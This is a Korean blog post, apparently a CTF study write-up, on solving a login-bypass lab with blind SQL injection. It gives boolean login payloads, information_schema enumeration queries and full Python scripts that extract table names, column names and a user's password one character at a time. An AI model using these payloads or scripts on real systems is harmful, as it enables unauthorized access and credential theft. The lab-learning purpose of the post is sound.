SegFault CTF - 5주차 - 번외

2025. 5. 7. 16:57·Study/with normaltic

Login Bypass 3

이 문제에서 막혔다.

`UNION`이라는 문법을 모르고 있었기 때문에 여러가지 방법을 시도하다가 결국 이상한 길로 빠져버리게 됐다.

구글링 도중 특이한 방식의 SQL Injection을 찾아냈다.

Login Bypass 3과 같이 DB에 있는 데이터를 전혀 출력해주지 않아도 DB의 데이터들을 얻어낼 수 있는 공격 기법이였다.

Blind SQL Injection

사이트의 반환을 기준으로 참인지 거짓인지 판단하며 아주 일부의 정보를 조금씩 뜯어내는 SQL Injection 기법이다.

doldol' and '1'='1

SQLi가 통하는지 확인하기 위한 문구다.

and 뒤에 다른 것을 물어봐서 SQLi의 가능 여부가 아닌 다른 걸 물어보자.

ID: doldol' and 혹시 id가 normaltic3인 유저의 비밀번호 맨 앞 글자가 t인가요? #
PW: dol1234

만약 진짜 맨 앞 글자가 t라면 참을 반환할 것이다.

그럼 `참 and 참`이므로 성공적으로 로그인이 될 것이다. 만약 앞 글자가 t가 아니라면 로그인에 실패할 것이다.

성공적으로 로그인이 됐다고 가정하자. 그럼 다음 질문을 할 것이다.

ID: doldol' and 그럼 id가 normaltic3인 유저의 비밀번호 두번째 글자는 m인가요? #
PW: dol1234

이런 식으로 끝까지 물어보면 normaltic3의 진짜 비밀번호를 알아낼 수 있다.

 

하지만 문제가 있다. 

어떻게 물어볼 것인가?

information_schema

일단 칼럼명이 진짜로 id인지 아님 uid인지 user_id인지 member_id인지조차 모른다.

아는 게 너무 없다. 칼럼명을 알아내기 위해서 일단 테이블명부터 알아내야 한다.

SELECT table_name FROM information_schema.tables

information_schema라는 DB의 tables 테이블에는 해당 MySQL 서버에 존재하는 모든 테이블의 정보를 가지고 있다.

그 정보에는 당연하게 테이블의 이름 또한 포함돼있다.

 

근데 이 테이블 이름을 어떻게 내 화면까지 띄울 수 있는가?

일단 테이블의 이름들을 한꺼번에 가져올 수 있는 방법은 없다.

하지만 위에서 서술했던 것과 같이, N번째 글자가 i인지 아닌지 물어볼 수는 있다.

여기서 `ASCII()`, `SUBSTR()` 함수를 사용한다.

ID: doldol' and (SELECT ASCII(SUBSTR(table_name, 1, 1)) FROM information_schema.tables LIMIT 0,1)=105 #
PW: dol1234

SUBSTR(`[문자열]`, `[시작할 위치]`, `[자를 문자열의 길이]`)

즉, 선택된 테이블의 이름이 my_table이라면, m만 선택되게 된다. 

ASCII(`[문자]`)

m의 ASCII 코드값을 반환한다. 즉, 109를 반환한다.

그럼 `109=105`는 거짓이 되어 로그인에 실패하게 된다.

LIMIT `[시작할 인덱스]`,`[가져올 행의 개수]`

`LIMIT 0,1`을 통해 하나의 값으로 좁힐 수 있게 해야 한다. 다음 행의 테이블 명을 알아내려면 `LIMIT 1,1` 이런 식으로 작성하면 된다.

ID: doldol' and (SELECT ASCII(SUBSTR(table_name, 1, 1)) FROM information_schema.tables LIMIT 0,1)=109 #
PW: dol1234

105를 좀 조정해서 109를 넣어 이런 입력을 하면 로그인이 될 것이다.

이 귀찮은 과정을 손으로 할 수는 없다.

자동화 코드를 작성해서 컴퓨터가 구하게끔 해야할 것이다. 하지만 여기에도 문제가 있다.

테이블 이름의 길이가 얼마일줄 알고 반복문을 돌릴 것인가? 우리는 테이블 이름의 길이를 우선 알 필요가 있다.

이 때 `LENGTH()`라는 함수를 사용한다.

ID: doldol' and (SELECT LENGTH(table_name) FROM information_schema.tables LIMIT 0,1)=1 #
PW: dol1234

이 또한 1부터 조금씩 올려가면서 길이를 찾아야 한다.

import requests

url = "~~~/login3/login.php"

length = 1
while(True):
    id = f"doldol' and (SELECT LENGTH(table_name) \
    	FROM information_schema.tables LIMIT 0,1)={length} #"
    pw = "dol1234"
    datas = {
        'UserId' : id,
        'Password' : pw,
        'Submit' : 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        break
    length += 1

print("\nLength:", length)

datas 오브젝트에 저런 키값이 들어간 건 평소 송수신되는 패킷을 보면 알 수 있다.

'UserId'에 id값, 'Password'에 비밀번호, 'Submit'에는 'Login'이 고정적으로 들어간다.

로그인에 성공하면 자동으로 리다이렉션이 되는 것을 막기 위해 `allow_redirects`를 `False`로 둔다.

또한 로그인에 성공하면 리다이렉션이 이뤄진다는 것을 이용해, status_code를 가져와 302일 때 로그인에 성공한 것으로 받아들인다.

Length: 14

이제 겨우 길이를 알아냈다.

그래도 길이를 알아냈으니 이제 반복문을 돌려 테이블명을 알아낼 수 있게 됐다.

table = ""
for i in range(1, length + 1):
    for j in range(32,126):
        id = f"doldol' and (SELECT ASCII(SUBSTR(table_name, {i}, 1)) \
        	FROM information_schema.tables LIMIT 0,1)={j} #"
        pw = "dol1234"
        datas = {
            'UserId' : id,
            'Password' : pw,
            'Submit' : 'Login'
        }
        response = requests.post(url, data=datas, allow_redirects=False)
        if(response.status_code == 302):
            table += chr(j)
            break

print(table)

table_name : CHARACTER_SETS

이제 이 과정을 테이블의 개수(table_name 행의 수)만큼 반복하면 된다...

테이블의 개수만큼 반복한다? 그럼 테이블의 개수 또한 알아야 한다.

ID: doldol' and (SELECT COUNT(*) FROM information_schema.tables LIMIT 0,1)=1 #
PW: dol1234
import requests

url = "~~~/login3/login.php"

count = 1
while(True):
    id = f"doldol' and (SELECT COUNT(*) \
    	FROM information_schema.tables LIMIT 0,1)={count} #"
    pw = "dol1234"
    datas = {
        'UserId' : id,
        'Password' : pw,
        'Submit' : 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        break
    count += 1

print(f"Count of tables : {count}")

이렇게 해본 결과는...

296

무려 296개의 테이블이 존재한다는 것을 알아낼 수 있다.

이 296개의 테이블의 이름을 전부 알아낸다는 것은 엄청 오래 걸리는 일이다. 따라서 우리가 필요로 하는, 즉, MySQL에서 자동으로 관리하는 테이블들을 제외한 테이블만 뽑아낼 필요가 있다.

내가 따로 공부하느라 만든 DB 서버의 테이블 목록을 살펴보니, `table_schema`가 `information_schema`, `sys`, `mysql`, `performance_schema`인 테이블은 MySQL에 의해 관리되는 테이블인 것으로 보였다. 따라서 이 네 개 중 하나에 속하는 `table_schema` 값을 가진 테이블은 제외하도록 했다.

ID: doldol' and (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','sys','mysql','performance_schema') LIMIT 0,1)=1 #
PW: dol1234

코드는 생략하겠다.

16

테이블의 개수가 16개로 확 줄어든 것을 볼 수 있다.

이 테이블의 이름을 이제 전부 알아내보겠다.

table names

16개의 테이블 이름을 전부 알아냈다. 겨우 이 16개의 테이블명을 알아내는데 무려 112초가 걸렸다. 296개의 테이블명을 전부 알아내려고 했다면.. 엄청 오랜 시간을 들여야 했을 것이다.(어떤게 중요한 테이블인지 몰랐던 필자는 처음에 296개를 다 뽑아봤다 ...)

 

로그인에 사용되는 것으로 추정되는 테이블 6개가 있다. 

`login1`, `login2`, `user`, `login1`, `login2`, `user_info`

`login1`과 `login2` 테이블이 두 개씩 존재하는 이유는 각 테이블이 저장된 DB가 다르기 때문이다. 해당 테이블의 `table_schema`를 알아내면 `segFault_sqli`와 또다른 하나의 DB가 존재한다는 것을 알 수 있다. 테스트를 해보면 결국 `segFault_sqli` DB에 존재하는 `login1` 테이블이 실제 CTF에 사용되는 테이블이라는 것을 확인할 수 있다. 그 과정은 생략하도록 하겠다. 어차피 DB명은 쓸 필요가 없기 때문이다. (실제 코드에서 다른 DB에 있는 걸 꺼내와서 쓴다면 말이 달라질 수도 있긴 하다)

 

이제 테이블의 칼럼명을 알아낼 차례가 왔다. 테이블명을 찾을 때와 유사한 방법으로 칼럼명 또한 알아낼 수 있다.

SELECT column_name FROM information_schema.columns WHERE table_name='login1'

칼럼명을 알아내기 위해서는 `information_schema` DB의 `columns` 테이블을 참조한다.

실제 SQLi는 다음과 같이 작성될 것이다.

ID: doldol' and (SELECT ASCII(SUBSTR(column_name, 1, 1)) FROM information_schema.columns WHERE table_name='login1' LIMIT 0,1)=32 #
PW: dol1234

테이블명을 알아낼 때 사용했던 방식과 거의 유사하다. 그저 사용하는 테이블과 칼럼만 바뀌었을 뿐이다.

column names in login1

`login1`이라는 테이블이 두 개라서 두 테이블의 칼럼명을 전부 알아냈다. 여기서 핵심은 `id`와 `pass`이다. 이 두 칼럼에서 각각 ID와 비밀번호를 담당할 것이다. 정말인지는 다음의 입력을 통해 확인할 수 있다.

ID: doldol' and id='doldol' and pass='dol1234
PW: dol1234

해당 로그인 로직에서 사용하는 칼럼명이 확실히 `id`와 `pass`라면 정상적으로 로그인이 될 것이다.

Check column names

정상적으로 로그인이 된다.

이제 칼럼명도 알았겠다, 남은건 `normaltic3`의 비밀번호를 알아내는 것이다. 

ID: doldol' and (SELECT ASCII(SUBSTR(pass,1,1)) FROM login1 WHERE id='normaltic3')=32 #
PW: dol1234

이 방법을 통해 알아낸 비밀번호로 로그인이 되지 않는다면, `login1` 테이블이 아닌 다른 테이블일 가능성이 존재한다. 그건 나중에 생각하자.

import requests

url = "~~~/login3/login.php"

table = 'login1'

length = 1
while(True):
    id = f"doldol' and (SELECT LENGTH(pass) \
    	FROM {table} WHERE \
        id='normaltic3')={length} #"
    pw = "dol1234"
    datas = {
        'UserId' : id,
        'Password' : pw,
        'Submit' : 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        break
    length += 1

password = ""
for i in range(1, length + 1):
    for j in range(32,126):
        id = f"doldol' and (SELECT ASCII(SUBSTR(pass,{i},1)) \
        FROM {table} WHERE id='normaltic3')={j} #"
        pw = "dol1234"
        datas = {
            'UserId' : id,
            'Password' : pw,
            'Submit' : 'Login'
        }
        response = requests.post(url, data=datas, allow_redirects=False)
        if(response.status_code == 302):
            password += chr(j)
            break

print(password)

normaltic3's password

얻어낸 이 비밀번호를 시도해보면,

Flag

Flag를 따낼 수 있다.

만약 로그인이 안 됐다면 `login2` 테이블로 시도해봤을 것이다.

 

비밀번호 상태를 보아하니 이렇게 비밀번호를 직접 알아내는 것을 의도한 문제는 아닌 것 같다.

 

 

p.s.

사실 Login Bypass 4 문제도 이 방식으로 날먹을 시도했으나 안 되길래 당황했다..

이상하다 싶어 doldol의 비밀번호를 이 방식을 통해 가져오니 `dol1234`가 아닌 웬 `fe350b2ff979b0e0ea1844ed644ecafe`라는 값이 나왔다. 혹시 싶어 `dol1234`를 MD5로 암호화해봤더니 `fe350b2ff979b0e0ea1844ed644ecafe`와 일치했다. 이 덕분에 Login Bypass 4는 MD5 해싱까지 들어갔다는 사실을 알게 됐다..

 

어쩐지 login2 테이블을 쓰더라..

'Study > with normaltic' 카테고리의 다른 글

SegFault CTF - 5주차 - 2  (0) 2025.05.06
SegFault CTF - 5주차 - 1  (0) 2025.05.06
SegFault CTF - 4주차  (0) 2025.04.24
로그인 유지: 쿠키 & 세션  (0) 2025.04.23
PHP와 MySQL  (0) 2025.04.16
'Study/with normaltic' 카테고리의 다른 글
  • SegFault CTF - 5주차 - 2
  • SegFault CTF - 5주차 - 1
  • SegFault CTF - 4주차
  • 로그인 유지: 쿠키 & 세션
renia256
renia256
  • renia256
    나른한 고양이
    renia256
  • 전체
    오늘
    어제
    • 분류 전체보기 (12)
      • Study (10)
        • 컴파일러 (0)
        • 잡다한 것들 (2)
        • FTZ (0)
        • with normaltic (8)
      • 자료구조 (0)
      • writeup in kr (1)
      • writeup in en (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    UMass
    CTF
    writeup
    UMASSCTF
    suckless2
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
renia256
SegFault CTF - 5주차 - 번외
상단으로

티스토리툴바